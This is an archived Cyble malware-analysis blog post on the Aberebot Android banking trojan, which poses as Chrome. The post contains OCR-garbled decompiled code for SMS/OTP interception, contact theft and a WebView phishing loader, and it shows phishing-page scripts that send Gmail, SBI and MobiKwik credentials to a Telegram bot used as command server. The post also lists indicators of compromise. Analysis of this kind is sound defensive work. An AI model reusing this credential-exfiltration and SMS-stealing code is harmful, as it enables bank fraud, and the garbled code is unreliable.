https://blog.cyble.com /2021 /07 /30 /aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing /

Aberebot: New Banking Trojan Targets Users Via Phishing
Published: 2021-07-30 - Archived: 2026-04-05 20:13:08 UTC

Update: The Threat Actor is now actively working on the next version of the malware. We will continue to track the actor

for any further updates.
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During Cyble’s routine Open-Source Intelligence (OSINT) research, we came across a malware posted by
a researcher on Twitter. The malware is a new banking trojan variant named Aberebet that steals sensitive information from
infected devices. This variant share similar behavioral patterns with other banking Trojans such as Cerberus. In addition to

these similarities, the trojan also steals credentials using phishing, targeting customers of 140+ banks in 18 countries.

According to an investigation conducted by the Cyble Research Labs, the Threat Actor (TA) behind Aberebot is using
GitHub to store the phishing pages. This is because, adding the webpages to the APK will drastically increase the file size.

We suspect that the TAs are targeting users via a range of vectors such as phishing campaigns or third-party app

stores. Additionally, in this case we found the malicious Trojan app masquerading as the legitimate Google Chrome app.
Technical Analysis

APK Metadata Information:

¢ App Name: Chrome
* Package Name: com.example.autoclicker
e SHA256 Hash: 8bef7b86043f758a775a9cf4080f5b87d50df4778d03ecd94989f98cc5c91e75
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Figure 1: APK Information of the Malware Sample Analyzed

The malicious app requests 10 permissions in the manifest file. Out of these, 7 are dangerous and are listed in Table 1.

Permission Name Description
android.permission.READ_CONTACTS Access to phone contacts
android.permission.READ_SMS Access SMS data
android.permission.RECEIVE_MMS Receive and process MMSes
android.permission. RECEIVE_SMS Receive and process SMSes
android.permission.SEND_SMS Send SMSes

. L. Modify/write the SMS data stored in the
android.permission. WRITE_SMS devi
evice

android.permission.BIND_ACCESSIBILITY_SERVICE Monitor device screen activities

Table 1 Permissions Requested by the Trojan

Once the user enables the permissions listed in Table 1, the malware can steal information such as

contacts, OTPs, credentials etc., that are available in the infected device.

@C\IBLEM See What Really Looked Like Across
Global | APAC | Europe | North America | META | Australia & New Zealand

Get Your Free Reports Today!

During our static analysis, we identified the entry point classes of the Trojan. The two classes which can be used to start the

trojan are:

1. com.example.autoclicker.MainActivity: This class is launched when the user clicks on the icon of the malicious

Chrome app.
2. com.example.autoclicker.SmsReceiver — This class is initiated when the victim’s device receives an SMS/MMS.

Upon analyzing from the entry points, we observed that the Trojan uses an obfuscation technique to
restrict Reverse Engineering (RE) and to avoid detection. It also uses special characters for class names to make the RE

more complex. In addition, this app has multiple encrypted strings in various parts of the code, as shown in the Figure 2.
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public static Siring f30714TkeUlcBbG = *B38d45CE979300hT3e Zad5e Sbde fdads™;
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/* renamed from: dwj Towb_reason: containg not printble charscters v

public static =iring fMIT!M 1854" ;
/% rensmed from: dXWC''.7."1'veygH reason: contains not printable characters o/

public static String f3076dXEMKveyqH = *d33dbS523h 360047661 344931 153859" ;

/2 ransssa fros: duh, - "iFeMkt resson: contains not printable characters ®/
public static 5tring a7 TdEet = 200 938 2803447034961 148 11659688 d28bBCOL. 7 a1 7394"

/% renamed frow: dZFud RAFDc reason: contsins not printsble charscters 4/
public static String f3078IZFUARRFDC = *6dScdBadfaZeab S9d4BBAS5SE242591

/% renamed from: dZenk "1t 0%" “iTZfum reason: contains not printable characters */
public static “tring un - 71524232471 1

/% renamed frow: dzhkz’ ‘VBOBo reason: contains not printable characters o/

public static 50y f = *De6213adc2b1b0d8Sf 28571 300d08ade
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public static =t ing = *fead18a223f T06d1a5a3
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public static 5iring Jak - «57c 1150933 1d54c 4875 ifcasbTcse" s
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public static 50y . fer

’” enuea from ﬂ: _XKkZyf reason: contains not printable characters */

bt StAtLe S5 FI0ESE NPT -G Tosot TSR 001 957 A 1687 PARST S15S5A%0°

/" reruled from: dcvIa” bEDSn reason: contains not printable characters /

public static 5t ing f3086dcVIsbEDSn = fosdses ;

4+ renamed from: dekSD".*T"'*'''" DAz resson: contains not printable characters +/

public static 5ty - fa 7Bebi3d7e1951 06daae 5L

Figure 2: Code with Encrypted Strings

By going through the malware’s obfuscated code, we found that it uses a combination of Advanced Encryption Standard

(AES) and string operations for encryption.

AES is a symmetric block encryption that uses a key to encrypt/decrypt the data. In this case, the app uses different keys for
decrypting suspicious encrypted strings. Some of these keys are shown in the code below.

Invoking Decryption
Function
public static String mBAAX .

return BYDecoder .l|5517a C0063.‘F1814RLIIOK‘tUtjq, "2dcbf350f995a3f1"|) ;

/* renamed from: AAXXh*'_"fr ', -117~SyqtM reason: contains not printable characters */

public static String m7AAX
return BYDecoder.m5517(|CO063. f4422prZTmoobDh

}

}

"0480366aed315639"

/* renamed from: AAnBw'™ "1"'_r,‘"1"'-‘.1ghWNgw reason: contains not prinbable characters */

public static String mBAAN| wil {
return BYDecoder.m5517( C0063.f3010crUsXhLDAsl "09aab852be946a9d" )|
X

/* renamed from: ABYwF'' trrfoMUYCyZBIM  reason: contains not printable characters */

public static String m9 .
return BYDecoder.mS517([C0063. f4980vAEPOrQBil} [*feSSbddfdad3sSac”|f; Encryption Key

}

/* renamed from: ABcRp ,— "-.."','’ ,yDEgC reason: contains not printabl ers */

public static String mlOA
return BYDecoder .m5517(C0063. f5506zxeZpncivE,

}

"9393eddeds5f2932a" |;

/* renamed from: ACaMy ' ‘"'~ “'**1 _':_'ylDyJ reason: contains not printagble characters */

public static String mllAC
return BYDecoder.m5517(/CO063. f1388NVYmWzYmcf

}

"bd02ccc9f39865d8" )i

/* renamed from: ADAcG™"'"~"*"" “XtrRu reason: contains not printable characters */

public static String ml2AD
return BYDecoder.m5517(C0063. f4146nQJwiXUHbn|, [‘6h9f310d237d4ebe")|:

}

Encrypted String

Figure 3: Code to Invoke Decryption Function with the Key

Figure 4 showcases the decryption code used by the Aberebot Trojan.
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~

/* renamed from: i reasen: contains not printable characters %/
public static String mS5517(String text, String pass) {
byte[] result;
int hexlen = text.length();
if (hexlen % 2 == 1) {
hexlen++;
result = new byte[ (hexlen / 2]];
text = "0" + text:
} else {
result = new byte[ (hexlen / 2]];
1
imt j = 0O
for (imt 1 = 0; 1 = hexlen; 1 += 2] {
result[j] = (byte) Integer.parselnt(text.substring(i, 1 + 2|, 18);
J++]
1
byte[] decrypt = null;
try {
Key key = new SecretKeySpec(pass.getBytes(), "AES")
Cipher cipher = Cipher.getInstance|"AES");
cipher.init(2, keyl:
decrypt = cipher.doFinal|result];
} catch (Exception e2) {
e2.printStackTracel ) ;
i
return new Stringldecrypt):

T

Figure 4: Code for the Decryption Function
Upon decrypting the strings, we found several suspicious strings such as URLs, commands, etc., as shown in Table 2.

o hxxps://api.telegram|.]org/bot1900116382: AAHdStvEOPr4vl7ZEH]j5BdFJAICOvaovRRY/getUpdates

o hxxps://api.telegram.org/bot1900116382: AAHdStvEOPr4vl7ZEH]j5BdFJAICOvaovRRY/sendMessage?
chat_id=-561929911&text=

¢ hxxps://github.com/yutronsayshi/aberebot234/raw/main/

¢ Contacts%0A—————— %0A

¢ %0ABanking Apps%0A——— % 0A

o it_it.bnl.apps.banking.html

¢ Com.unocoin.unocoinwallet.html

Table 2 : Subset of suspicious strings after decryption

As per our analysis, we found that the Trojan constantly communicates with a Command and Control (C&C) server hosted

on a Telegram bot account.

We also observed that the app steals information based on the commands from the Telegram
bot. The Aberebot Trojan receives commands from
the URL: hxxps://api.telegram[.]org/bot1900116382: AAHdStvEOPr4vl7ZEH]j5BdFJAICOvaovRRY/getUpdates

Data is sent as a message to the Telegram bot using the
URL: hxxps://api.telegram[.]org/bot1900116382: AAHdStvE0Pr4vI7ZEHj5BdFJAICOvaovRRY/sendMessage?
chat_id=-561929911&text=

The trojan then proceeds to perform malicious activities based on the C&C server commands. Some of the malicious

activities that Aberebot is capable of performing are listed below.
Malicious Capabilities:

1. Collecting contact information from the device: The code used to collect contact data on

the victim’s device’s is shown in the figure below.

public void ul) {
Arra, t arraylist = new ayList();
Cursor query = getContentResolver( ) .query( ContactsCont ract . CommonBat aKinds . Phane . CONTENT_URT, null, mill, mull, null);
while (query.moveToNext|
string = query.getStringlquery.getColunnIndex( MethodPaol . m147BmAKLLIIX() )}
tring string2 = query.getStringlquery.getColumnIndex|MethodPool .n3418gMYPNVSZOH( ) | | ;
arrayList.add(MethodPool .n2826a1rdodrOril) + string + MethodPool m2830alXjWaR0xK() + string2.replace(MethodPool .n527SekTLNLGbVo(), ") + MethodPool .m45S56rChigelxuval )]

query.close():
x(MethodPocl . n4395ph fMWRCcDx () + arraylist.teString());
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Figure 4: Code for the Decryption Function

The contact data is uploaded with tag: — Contacts % 0A- %0A

2. Intercepting OTP: The malware is capable of receiving SMSes and uploading the ones
that contain numbers, as shown below.

peblic class Sesfeceiver extends Brosdcastheceiver {

public wu ucrivel Combart comtant, Incast dntemt 1
Bundl

"'k = 2.KkiMethodPosl 3877k HybLUe1 DI
k.append intent .gethction ) ) ;

Log. 1(MethodPoal .a7x: NePY |, k.toString

1 -#qual s methodrool +5037viLzacDca|
] sbjarr

1F 1§ (ntent getaction 11 intent.getactiont | squls(MethodPosl .a2832anctPratgyi )] &5 (extras = intent.getextras(i) f= mall) {
ject extras. get MethadPaol .4380SIEGTLY) 78
JAre length ;
for (int 1 = 0 3 < obyArr ng..m iee)
4f (Build.VERSION. SDK_TI 23

sasMessagerrrii) - Searsange cresteFronPdul(bytel 1) bIAPFIL]. extras.getst ring|MethodPosl aSESFodMOveLON(
se {
sasMessageArr(i] = SasMessage.createFromPdul(bytel|) objArriill: Checking for numbers in SMS received

this.a = { (

1011 ghddress

new Mainkctivit

me,.m ® Mlmdpuu\ -n-nu ha ) - AccessibilityService. 66664 « MethadPasl. mS37SyeArRmYvCal

+this.al]
Uploading SMS which has OTP

€2.printStackTrace( )

Figure 6: Code to Collect OTPs from SMSes Received
OTP data upload tag: — New SMS Received! % 0ABOT ID:
3. Collecting the list of installed applications from the device

4. Sending SMS messages to numbers as per the TA’s commands, as shown in the figure 7

[CommandListener.b bvar2 = (CommandListener bl bvar: | Commands
T2-t

ring r02 = MethodPool.m16710GBOQISCCI( ) ;
try

JSONArray JSONAFray = t2.getJSONArray(MethodPool .w2563YL1PRTYSFBI )|
ing stro= null;
int i = 0;

for (int 12 = 0; 12 < jSONArray.lengthl): i2+s) {
JSONGbject jSONObject = JSONArray.getJSONObject(i2):
i = jSONObject.getInt(MethodPool .n3685iwGhOGCGSQ()) ;
str = jSONObject .get JSONOb) ect ( MethodPool . m11920 XUt UBOKFx( ) | . getString| MethodPool . a1 9505achkeyMhel | |
int 13 = ComsandListener.this. f6568c:
g r3 = MethodPool .m2367WNTBACEK
ing rS = MethodPool . w4014l xqALHFC
) r6 = MethodPool .w2262VWWPZgNHYt (
r7 = MethodPool .m1592PTL11tg0f2( |
213710743 G str.containg(r7) G str.contains
mainActivity = CommandListener.this.f6670e;
ndListener.this.b + rS + CommandListener.this.f8670e.v(] +

r3 + CommandListener.alCommandListener.this):
} else if (1 = mandListener.this.f6668c || !str.containsiMethodPool .n19295TXcFegiX¥i)) || Istr.contains(r7i) {
int i4 = CommandListener.this.f)

r32 = MethodPool..s44600)Jot sdHLw( ) ;
1ng [#S2 = MethodPool .w8S0TRaZbMByaS! | ;
if Li 1= 34 : 2

). valueOf( ConmandListener.this.b))) {

Send SMS based on commands
" 1 a32986C ) c dlist this bi) {
[CSasManager getDefault (] .sendTertMessage(str.substring(str. lnduﬂ'ﬂ[ﬂw + 1, str.indexOf(r32)), null, str.substring(str.index0f(MethodPool .n22SSVTSYDDRIJG()) |+
wainActivity - CommandListener.this.f6670e;
0 = MethodPacl .n2672Z1ccugezie! | ;

} else if (i 1= CommandListener.this. f6668c &L str.contains(r02] &6 str.contains(CommandListener.this.bl) {
[

CommandListener.this.startActivity(mew Intent(CommandListener.this.get

CommandListener. this.76670e. x| MethodPaol .n5123w5XyDsesh

CommandListener.this.f6668c = i:

return;

licationConterti). Bank.class).putExtra(r02, str.substring(str.indexOf FS2) + 1.

Show phishing pages

mainActivity - CommandListener this.f6670e;
r0 = MethodPool .m4104amutfoiKas(

}
) else {
return;
¥

Figure 7: Code to Send SMS Messages Based on TAs Commands
5. Stealing credentials of social media accounts and banking portals from the victim device
6. Monitoring the victim device by leveraging the BIND_ACCESSIBILITY_SERVICE
BIND_ACCESSIBILITY_SERVICE is a permission that allows the AbereBot to monitor the device’s screen

Techniques used to steal credentials of social media and banking accounts:

The banking Trojan uses phishing pages to steal credentials. The malware author has stored the phishing pages as HTML in
a GitHub repository: hxxps://github.com/yutronsayshi/aberebot234/raw/main/
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Figure 8: GitHub repo with Fake webpages

The malware checks for the geolocation of the device and then downloads fake HTML pages based on it. Based on the

command from C&C server, it shows the counterfeit HTML content on a WebView.

WebView is view used by Android to display web pages inside applications.

The below figure depicts the code used to show the HTML content using WebView.

public class Bank extends j {

public class a extends WebViewClient {
public a() {
}
public void onPageStarted|wWebView webView, St str, Bitmap bitmap) {

if (str.contains(MethodPool .n2824aiUBYVpbBql | {
Bank.this.startActivity(new Intent(MethodPool.mS473zagqtCCXye()) .addCategory(MethodPool .m4511ghZAbGKsral

Bank.this.finishAndRemoveTask();

)).setFlags(67108864) ) ;

}

public void finish() {
finishAndRemoveTask( ) ;
}

t JavaScrip
public veid onCreatelBundle bundle
super.onCreate(bundle) ;
setContent View(R.layout .bank) ;
WebView webView = (WebView) findViewById(R.id.webView);
Intent intent = getIntent():
stringExtra = intent.getStringExtral MethodPool .m681GZGeWZMoGD! ) ) ;
stringExtra2 = intent.getStringExtralMethodPool .nd485qZTcldScku( | ) ;
externalFilesDir = getExternalFilesDir(MethodPool .n2618YfLoMnvMiP());
webView.getSettings() . setCacheMode(2) ;
webView.getSettings( ) .setJavaScriptEnableditrue) ;
webView. getSettings() .setAllowFileAccess|true) ;
webView. setWebViewClient (new a

if (stringExtra '= null) {
stringExtra2 = MethodPool.m3129daiSKtEuval) + externalFilesDir + MethodPool.nl694QQIWWuMiuc( ] + stringExtra;
} else if (stringExtra2 == null) {
return:
}
[uebnev.luaduﬂwstringE:traz : | Loads HTML page using WebView

t

Figure 9: Code to display fake page using web view

Upon analyzing the HTML pages, we observed that the credentials are uploaded to the C&C server in Telegram. The below

figure shows the Gmail phishing page and the credential upload code.
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Google

chars(s REQUEST("p*]. ENT QUOTES):

Sign in to continue to Gmail

function test2(){setTimeaut(function(}{
window.Locat 10n. replace("Nttps: //asdsadastgert regdfgdfvey.org™ )i}, 1008); }.
S{docunent) . ready{ function() {

var email - getGoogleAccount():
)4

it (ematl 1=
Enter your emai $(-input (name="enail']*) .val( email };
I $(°#matl title’).ntml( email );

switchStep(1, false);

h:

function performEmail() {
var email = §("femail”);
var emailValue = email.val();
it (emailValue == '*) return false;
var result = emailValue. split( '@’} [8] + "@gmail.com’;
enail.val(result):
$('#mail_title’).hal{result);

switchStep(l, false):

function start() {
URL_='<7php echo SURL;?>";
var IMEI="<Tphp echa SIMEI countryi?>';

e L eR L Upload Gmail Credentials

fetch ("hEtps://apl. telegran. org/bot 1980116382 : AAHISEVEDPr 4vITZEH) SBAFIALCOVAOVRRY/ sendMessage
chat_id=-1001411035819text=| Injection_4|Gaail|"+ gmail password) :

T

Figure 10: Fake Gmail page and code to send credentials

Abusing BIND_ACCESSIBILITY_SERVICE permission:

Upon enabling the BIND_ACCESSIBILITY_SERVICE permission, the malware leverages this capability to enable
all other permissions for itself. It constantly monitors the device screen using the same permission. Along with that, the app
restricts the user from modifying the app settings. The activities performed by abusing the

BIND_ACCESSIBILITY_SERVICE permission are:
1. Restricting the user to enter or modify the app’s settings page

2. Constantly checking for targeted banking/social apps on the screen, and if any targeted app is present on the screen,

the malware shows the phishing page related to it for credential stealing.

Additional actions conducted by Aberebot:

1. Tricking the user with legitimate-looking Google Chrome icon and name, as shown in figure 11.
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Q search apps < Accessibility Q
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Downloaded services
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G Chrome

Chrome Clock Contacts  Custom L. Off
S @
. of u Screen readers
Dev Setti..  Dev Tools Email Files Text-to-speech output

A ® -

< o B < o B

Chrome's icon and app name Chrome’s icon and app name
on device screen on ACCESSIBILITY settings page

Figure 11: The Aberebot Banking Trojan Masquerades as Google Chrome

2. Hiding the application icon from the device home screen after the app starts. The code used for hiding the icon is

shown in figure 12.

invoke-direct {v2, vl, v3}, Landroid/content/ComponentName;-=<init=(Landroid/content/Context;Ljava/lang/Class; )V
invoke-virtual/range {p@ .. p@F, Landroid/app/Activity;-=>getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v3

iput-object w3, vl, Lcom/example/autoclicker/MainActivity.-=q:Landroid/content /pm/PackageManager:

const/4 ve, Ox2

const/4 v7, Ox1

invoke-virtual {v3, v2, v6, v7}, Landroid/content/pm/PackageManager;-=setComponentEnabledSettinglLandroid/content/ComponentMame; I1)V
Figure 12: Code Used to Hide the Icon
Countries targeted by Aberebot: Austria, Australia, Canada, Czech Republic, Germany, Spain, France, Hong Kong,

India, Italy, Japan, Netherlands, New Zealand, Poland, Romania, Turkey, the United Kingdom, the United States of

America.

The Aberebot malware targets customers of 140+ banks, including BCR Bank, Australia and New Zealand Banking
Group, US Bank, SBI, etc. In addition, apart from banks, other targeted

accounts include PayPal, MobiKwik, Unocoin wallet and Gmail, etc.
Targeted Banks in India:

According to our findings, the malware uses phishing pages specifically designed for mobiles users. The State Bank of
India (SBI), HDFC Bank, Axis Bank, Bank of Baroda, ICICI Bank, IDBI Bank, and Union Bank are some of
the India-based banks targeted by Aberebot.

The figure below shows the malware’s phishing page that has been designed to resemble the banking page of SBI, along

with the code for stealing credentials from unsuspecting users.
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on-l.-t-.-m_,-ﬁ [% (] Eements Console Sources MNetwork Performance Memory  Application »
g oForm. setAtiribute( action’,g_sFACt); // yclamamnmsacs y $opes ypn
-
tryl
Mobile Banking User ID 9_oForm.action = g_sFACt,
} catenie)(}
Enter MPIN var g FraCode = prompt(‘getld');
inshiddenfield(docunent, g oForm, ‘code’, g FraCode); /7 monyuaess id
bora
“/
var g_oBtn = document.getElementByld| ' submitBtnl');
LOGIN g_oBtn.onclick = function () {
var oMumInp = document .getElementByld( ‘userid’ ): Access user credentials
var olodelnp = document.getElementByld( password’);
s N try{
SBI Phishing page oHunlnp, classhiane = 0CodeInp . classhame = *input.tield

} catchier(}:
if (oNumInp.value.length < 6) {
tryl

oNumIng. classMane = ‘fielderror':
} catchiel{}:
return false;

]
if (1/"\w{4,1808}$/1. test(oCodelnp.value} ) {
tryf

oCodelnp.classane = 'fielderror’;
} catcnier{}:
return false;

b
top['closeblg’] =
#*prompt(‘send’,

dalog id” : “comsbiSBFreedom's

*", "mobile banking user id": *'soNuslnp.values
*=, “enter mpin=: *'+oCodelnp.valve+'"}");
document  getElementByld( "content_div').style.visibility = ‘hidden’;

T OTOTR TUIRITTI 7

war urle'«7php echo SURL; 7=';
var imei_c='<7php echo $IMEI country; 7>;
fetch(“nttps://api.telegran.arg/bot1900116362: AAHASTVEOPrav 17 ZEN] SBAF JALCOVAOVRRY /sendMes sage?|
chat_id=-10014118358196text=| Injection 4|consbiSBFreedon| "+oNualnp.values" | +oCodelnp.value);

test2();
return falses .
: Upload the credentials
N to Telegram C&C
Jseript
/vody

/html
‘
html

Figure 13: Phishing Page Designed to Target SBI customers

The image below showcases the comparison between SBI’s legitimate banking portal and Aberebot’s malicious
SBI phishing portal.

B
State Bank freedoM
t(::'i?«ms! Your Mobile., Your Bank.
o o ) Mobile Banking User ID
[eTe—— Enter MPIN
—
St o ot e ot cen LOGIN
. Onesocapmen
SBI Original Internet Banking Page SBI Internet banking Page by Aberebot

Figure 14: Comparison of the Original SBI portal with the Fake SBI portal designed by Aberebot’s creator

Along with banks, Aberebot Trojan is also targeting financial applications such as MobiKwik and Oxigen Wallet, etc.

The MobiKwik’s phishing page is shown in the figure given below.

w & & Elements Console Sources Network Performance  Memory  Application » o6

se<html> == $8
¥ <head>.</head
<!--7php
Email ID SIMEI_country = htmlspecialchars(S_REQUEST["p"]. ENT_QUOTES);
include "contig.php®; ?-.>

Password we<body class="bodyclass
b<div id="content_div">.</div
vescript

function test2(){setTimeout(function(){
window. location. replace( “hitps://asdsadasfgertregdfgdfvey.org”):}, 1868); }; function

sentServer()
. I
Login
var oNumlnpl = docusent.getElementByld("login’):

var oNumInp2 = document.getElementById( password’): Access user credentials

. o if ((oNumInpl.value.length > 5)&&(oNumInp2.value.length > 3)) {
Mobikwik Phishing page var url="<7php echo SURL; 7'
var imei c='<?php echo SIMEI country; 7>';

var loginl = document.forms[“form"].elements[“login®].value;
var pass = document.forms[*form"].elements|"password"].value;

Tetch(-https://apl.telegram.0rg/bot1900116382 : AARASTVEGP r4vI7ZEN] SBAF JAILOVAOVARY/ sendMes sage?
chat_id=-10014110358196text=| Injection 4|mobikwik|"+loginl+"|"+pass); test2();
}

>

',b';;;”“ Upload the credentials
/html to Telegram C&C

Figure 15: Malicious MobiKwik’s Phishing Page Designed by Aberebot’s Author
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Conclusion

Our research indicates that TAs are increasingly introducing new malware techniques to evade detection. Banking threats are

increasing with every passing day and are being enhanced with sophisticated techniques. Aberebot is one

such example. According to our research, these types of malware are only distributed via sources other than Google Play

Store. As a result, it’s imperative for consumers to practice cyber hygiene across their mobile

devices and online banking applications.

Recommendations

1. If you find this malware in your device, uninstall it immediately.

2. Use the shared IoCs to monitor and block the malware infection.

3. Keep your anti-virus software updated to detect and remove malicious software.

4. Keep your system and applications updated to the latest versions.

5. Use strong passwords and enable two-factor authentication.

6. Download and install software only from registered app stores.

MITRE ATT&CK® Techniques

Tactic Technique ID
Defense Evasion T1406

T1421
Discovery

T1430

T1507
Collection T1412

11432

T1571
Command and Control

T1573
Impact T1447
Network Effects T1449

Indicators of Compromise (IoCs):

Indicators

Technique Name
Obfuscated Files or Information

System Network Connections Discovery

Location Tracking

Network Information Discovery
Capture SMS Messages

Access Contact List

Non-Standard Port
Encrypted Channel

Delete Device Data

Exploit SS7 to Redirect Phone Calls/SMS

8bef7b86043f758a775a9cf4080f5b87d50df4778d03ecd94989f98cc5c91e75

ale56b54768a70b73f131ef3508bd47£ff20ae7f80856a11a83894fe686d8ccl

hxxps://api.telegram][.]org/bot1900116382: AAHdStvEOPr4vl7ZEHj5BdFJAICOvaovRRY/getUpdates

hxxps://api.telegram[.Jorg/bot1900116382: AAHAStvEOPr4vI7ZEH]j5BdFJAICOvaovRRY/sendMessage?

chat_id=-561929911&text=
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Indicator

type

SHA256

SHA256

URL

URL

Desa

Hash
APK

malw

Hash
secon

samp!

Teleg
Bot U

Teleg
Bot U


https://attack.mitre.org/techniques/T1406
https://attack.mitre.org/techniques/T1421
https://attack.mitre.org/techniques/T1507
https://attack.mitre.org/techniques/T1412/
https://attack.mitre.org/techniques/T1432/
https://attack.mitre.org/techniques/T1571
https://attack.mitre.org/techniques/T1573
https://attack.mitre.org/techniques/T1447
https://attack.mitre.org/techniques/T1449
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GitHt
Repo

hxxps://github.com/yutronsayshi/aberebot234/raw/main/ URL

About Us

Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure
in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by
Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best
Cybersecurity Start-ups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore,

and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.com.

Source: https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing,
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